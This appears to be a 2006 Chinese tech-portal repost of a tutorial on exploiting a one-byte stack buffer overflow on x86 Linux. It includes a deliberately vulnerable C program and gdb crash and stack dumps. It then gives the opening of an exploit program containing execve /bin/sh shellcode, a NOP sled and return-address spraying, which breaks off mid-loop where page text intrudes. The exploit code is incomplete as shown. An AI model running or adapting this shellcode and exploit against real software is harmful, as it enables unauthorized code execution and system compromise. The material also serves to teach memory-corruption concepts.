频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

一种新的单字节缓冲区溢出技术分析

来源:ChinaITLab 收集整理 作者: 出处:巧巧读书 2006-08-08 进入讨论组
关 键 词:linux  nat  os  perl  漏洞  

  正如你所看到的,有关单字节缓冲区溢出问题确实存在及可利用,但是有没有一种好的方法,例如说猜测地址来实现呢?答案当然是肯定的。
想一想,当发生单字节溢出的时候,%ebp被我们覆盖,如果我们将buffer填满跳转地址,其中跳转地址指向我们的shellcode,它可以放在argv[]或者是环境变量中,那么,当两次ret后,从堆栈中弹出来的地址就会跳到我们的shellcode。如下图:
  
  栈顶(低地址)        栈顶(低地址)
  
    |----------|-+       |----------|
    | 跳转地址 | |       | ...... |-+
    |----------| |       |----------| |
    | 跳转地址 | |       | ...... | |
    |----------| |       |----------| |
  +->| ...... | |       | ...... | |
  | |----------| |       |----------| |
  | | ...... | |------------->| ...... | |
  | |----------| |       |----------| |==>shellcode
  | | ...... | |       | ...... | |
  | |----------| |       |----------| |
  | | 跳转地址 | |       | ...... | |
  | |----------| |       |----------| |
  | | 跳转地址 | |       | ...... | |
  | |----------|-+       |----------| |
  +--|保存的%ebp|<-1字节被覆盖  | ...... | |
    |----------|        |----------| |
    |保存的%eip|        | ...... |-+
    |----------|        |----------|
  栈底(低地址)        栈底(低地址)
  
  在这种情况下,我们实际上仍然要提供两个offset给exploit,一个覆盖%ebp的偏移,一个shellcode地址偏移。但是我们还是有一种方法,即用一个特别的字节来覆盖%ebp的最后一个字节,是%ebp总在buffer里,这样,最后需要猜测的只剩下shellcode地址,与普通的缓冲区溢出一样了。
  
  我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序:
  #include<stdio.h>
  vul(char *p){
      char buf[255];
      int i;
      for(i=0;i<=256;i++){
          buf[i]=p[i];
      }
  }
  int main(int argc,char **argv){
      if(argc>1) vul(argv[1]);
  }
  
  [laolang@localhost teach]$ gcc only.c -o only
  [laolang@localhost teach]$ ./only `perl -e 'print "a"x256'`
  Segmentation fault (core dumped)
  [laolang@localhost teach]$ gdb -q only -c core
  Core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
  Program terminated with signal 11, Segmentation fault.
  Reading symbols from /lib/libc.so.6...done.
  Loaded symbols for /lib/libc.so.6
  Reading symbols from /lib/ld-linux.so.2...done.
  Loaded symbols for /lib/ld-linux.so.2
  #0 0x61616161 in ?? ()
  (gdb)
  看,发生溢出了。此时堆栈如下图所示:
  
    栈顶(低地址)
  
    |----------|
    |0x61616161|
    |----------|
    |0x61616161|
    |----------|
  +->| ...... | <--- 由于执行无效指令,导致core dump
  | |----------|
  | | ...... |
  | |----------|
  | | ...... |
  | |----------|
  | |0x61616161|
  | |----------|
  | |0x61616161|
  | |----------|
  +--|保存的%ebp|<--- 1字节被(0x61)覆盖
    |----------|
    |保存的%eip|
    |----------|
  
    栈底(低地址)        栈底(低地址)
  
  溢出的关键还在溢出的那一个字节。在这种条件下,只有计算buffer地址和猜测buffer地址两种方法,前者很麻烦,而且对于远程溢出无能为力,所以,我们来研究第二种方法。
  
  为了提高成功率,我们溢出的一个字节的数据应该填一个很小的数字,特别是当buffer长度大于或等于256个字节的时候,不管buffer的地址是多少,总会准确的弹出跳转地址做为%eip,这样实际上只用猜测shellcode的地址,与普通的缓冲区溢出一样了。堆栈如下图所示:
  
  溢出前堆栈情况:
  (gdb) x/16 $esp
  0xbffff82c:   0xbffff84c   0x08048441   0xbffffa18   0xbffff858
  0xbffff83c:   0x4005be78   0x4014cacc   0x4000b1b0   0xbffff868
  0xbffff84c:   0xbffff888   0x40048486   0x00000002   0xbffff8b4
  0xbffff85c:   0xbffff8c0   0x08048490   0x00000000   0xbffff888
    溢出后堆栈情况:
  (gdb) x/100 $esp
  0xbffff714:   0x4014cacc   0x00000000   0x4003f658   0x00000000
  0xbffff724:   0x40008395   0x00000101   0x61616161   0x61616161
  0xbffff734:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff744:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff754:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff764:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff774:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff784:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff794:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7a4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7b4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7c4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7d4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7e4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff7f4:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff804:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff814:   0x61616161   0x61616161   0x61616161   0x61616161
  0xbffff824:   0x61616161   0x61616161   0xbffff800 <---- 看,最后一个字节被覆盖
  ……
  (gdb)
  
  此时:
  
    栈顶(低地址)
  
    |----------|
    |0x61616161|
    |----------|
    |0x61616161|
    |----------|
  +->| ...... | <--- 由于执行无效指令,导致core dump
  | |----------|
  | | ...... |
  | |----------|
  | | ...... |
  | |----------|
  | |0x61616161|
  | |----------|
  | |0x61616161|
  | |----------|
  +--|保存的%ebp|<--- 1字节被(0x00)覆盖
    |----------|
    |保存的%eip|
    |----------|
  
    栈底(低地址)        栈底(低地址)
  
  只要被覆盖的字节足够小,最终都会执行到我们的shellcode。以下是exploit:
  [mrj@localhost test]$ cat exp_only_2.c
  #include<stdio.h>
  #include<stdlib.h>
  #include<unistd.h>
  #define NOP 0x90
  #define BUFF  2048  //缓冲区大小
  #define BIT   16   //覆盖字节
  #define POINT  256   //溢出点
  #define OFFSET 500   //偏移
  unsigned long get_esp(void){
      __asm__("movl %esp,%eax");
  }
  char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  int main(int argc,char **argv){
      char *buf;
      int addr=get_esp(),bsize=BUFF+POINT,offset=OFFSET,bit=BIT;
      int i,j;
      if(!(buf=malloc(bsize))){
          printf("No enough memory!\n");
          exit(1);
      }
      if(argc>1) bit=atoi(argv[1]);
      if(argc>2) offset=atoi(argv[2]);
      addr-=offset;
      for(i=0;i<POINT;i+=4){
          buf[i]=(addr&0x000000ff);
          buf[i+1]=(addr&0x0000ff00)>>8;
          buf[i+2]=(addr&0x00ff0000)>>16;
          buf[i+3]=(addr&0xff000000)>>24;
      }
          buf[i++]=bit;
      for(i=i;i<bsize-POINT-strlen(shellcode)-2;i++)
          buf[i]=NOP;
      for(i=i,j=0进入讨论组讨论。
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
热点标签: linux  nat  os  perl  漏洞  
最新论坛文章
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
百度推荐,商机无限
搜索您感兴趣的内容
 
Web 本站
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章